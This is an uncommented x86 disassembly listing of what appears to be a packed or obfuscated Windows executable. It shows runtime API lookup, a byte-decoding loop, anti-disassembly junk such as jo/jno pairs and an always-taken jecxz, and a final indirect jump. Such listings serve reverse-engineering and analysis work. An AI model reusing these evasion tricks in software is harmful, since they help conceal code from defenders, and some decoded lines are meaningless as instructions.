mov eax, dword [0x4e8a5c]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a5c], eax
mov eax, dword [0x4e8a60]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a60], eax
jmp 0x4d70ff
nop
push ecx
xor ecx, ecx
jecxz 0x4d7b15
mov edi, 0x4c05c759
xchg ebp, eax
dec esi
add byte [eax], al
add byte [eax], al
add bh, bh
adc eax, sym.imp.kernel32.dll_GetVersion
pop ecx
mov dword [0x4e954c], 0
call dword [sym.imp.kernel32.dll_GetVersion]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x80000000
jae 0x4d7b66
push 0x4e8f44
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4d7b64
push 0x4e8f50
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x4e954c], eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
jmp 0x4d7ba4
xor eax, eax
mov al, byte [ebp - 0xc]
cmp eax, 4
jge 0x4d7b72
jmp 0x4d7ba4
push 0x4e8f60
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4d7ba4
push 0x4e8f6c
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x4e954c], eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
jmp 0x4d70ff
nop
jmp 0x4d7bad
cmp dword [0x4e82a6], 0
je 0x4d7c8e
mov dword [ebp - 0x7c], 0x400
mov eax, dword [ebp - 0x7c]
cmp dword [0x4e82c2], eax
jge 0x4d7bd4
mov eax, dword [0x4e82c2]
mov dword [ebp - 0x7c], eax
mov eax, dword [0x4e8074]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
call fcn.004d96db
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call fcn.004d6ab4
add esp, 4
mov dword [ebp - 0x10], eax
mov word [ebp - 0x48], 0
jmp 0x4d7c06
inc word [ebp - 0x48]
mov eax, dword [ebp - 0x48]
and eax, 0xffff
cmp eax, dword [ebp - 0x7c]
jge 0x4d7c7a
call fcn.004d7d0d
mov eax, dword [ebp - 0x48]
and eax, 0xffff
push eax
mov eax, dword [ebp - 4]
inc dword [eax]
add byte [eax - 0x75], dl
inc ebp
cld
push eax
call fcn.004d966c
add esp, 8
test eax, eax
jne 0x4d7c78
mov eax, dword [ebp - 0x48]
and eax, 0xffff
cmp eax, dword [ebp - 0x10]
jl 0x4d7c51
mov eax, dword [ebp - 0x10]
add eax, 4
mov ecx, dword [ebp - 0x48]
and ecx, 0xffff
cmp eax, ecx
jg 0x4d7c78
invalid
mov eax, dword [ebp - 0x48]
and eax, 0xffff
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov dl, byte [ecx + eax]
xor eax, eax
mov al, byte [0x4e82c6]
sub edx, eax
mov eax, dword [ebp - 0x48]
and eax, 0xffff
mov ecx, dword [ebp - 0x44]
mov byte [ecx + eax], dl
jmp 0x4d7c02
mov dword [0x4e804c], 1
mov dword [0x4e82a6], 0
jmp 0x4d70ff
nop
jo 0x4d7c99
jno 0x4d7c99
jno 0x4d7c1d
cmp dword [0x4e82b6], 0
je 0x4d7cca
cmp eax, 0x4e82b6
add byte [eax + ebp - 0x7f], dh
cmp eax, 0x4e82d6
push esi
inc edx
xor eax, 0x680f754d
cmp dword [0x4e82d6], 0x4d354256
jne 0x4d7cbd
push 0x4e8f7c
call fcn.004d5f7a
add esp, 4
jmp 0x4d7cca
jl 0x4d7c40
dec esi
add al, ch
ret 0xffe2
push 0x4e8f8c
call fcn.004d5f7a
add esp, 4
jmp 0x4d70ff
cmp dword [0x4e807c], 0
jne 0x4d7ce1
cmp dword [0x4e82ae], 0
je 0x4d7ce1
add byte [eax + 0x1730372], dl
nop
jb 0x4d7ce7
jae 0x4d7ce7
jae 0x4d7caf
mov dword [0x4e8a64], 1
add eax, 0x4e8a64
add dword [eax], eax
add byte [eax], al
jo 0x4d7cf6
jno 0x4d7cf6
jno 0x4d7ce0
jmp 0x4d70ff
add al, 0xf4
invalid
pop eax
pop ebx
pop ecx
pop edx
pop edi
pop esi
leave
jmp dword [0x4e8020]
pop edi
pop esi
pop ebx
leave
ret